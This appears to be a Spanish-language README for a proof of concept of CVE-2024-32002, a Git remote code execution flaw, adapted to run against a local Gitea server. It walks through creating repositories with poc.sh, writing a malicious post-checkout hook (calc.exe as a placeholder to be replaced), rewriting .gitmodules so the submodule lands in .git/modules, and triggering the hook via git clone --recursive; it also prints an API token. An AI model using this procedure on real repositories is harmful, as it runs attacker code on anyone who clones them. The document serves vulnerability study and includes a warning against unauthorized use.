
adaptando CVE-2024-32002 para ejecutarlo sin conexión y localmente
seguimos esta publicación de blog pero con algunas diferencias clave https://amalmurali.me/posts/git-rce
git_rce) incluye un submódulo con una ruta especialmente diseñada..git/, el cual contiene un hook malicioso.⚠️ Advertencia: No ejecute este PoC en sistemas que no le pertenezcan o para los que no tenga permiso explícito. Las pruebas no autorizadas podrían tener consecuencias no deseadas.
necesitamos crear un token de API para gitea; esto se puede encontrar en http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications
le di al token acceso a todo para asegurarme de que todo funcionara
luego podemos ejecutar nuestro poc.sh asegurándonos de proporcionarle la información solicitada, como la dirección IP y el puerto del servidor gitea, el nombre de usuario y el token para crear los repositorios
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
también debemos editar las líneas 42-46 para que contengan el payload
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
hay un paso más: debemos ir al .gitmodules desde main al repositorio hook; fui manualmente al repositorio en git tea y cambié el archivo

y luego hice esto
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
asegurándome de que cuando iba a A/modules pudiera ver algo como esto

luego, al hacer clic en ese commit, debería mostrar el otro repositorio con el contenido del PoC cuando haces clic en él
luego podemos tomar nuestra url y esto debería funcionar para activar el exploit
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
Crédito a filip-hejsek y amalmurali47 por descubrir esta vulnerabilidad y tener una publicación de blog y un repositorio desde los cuales adaptar.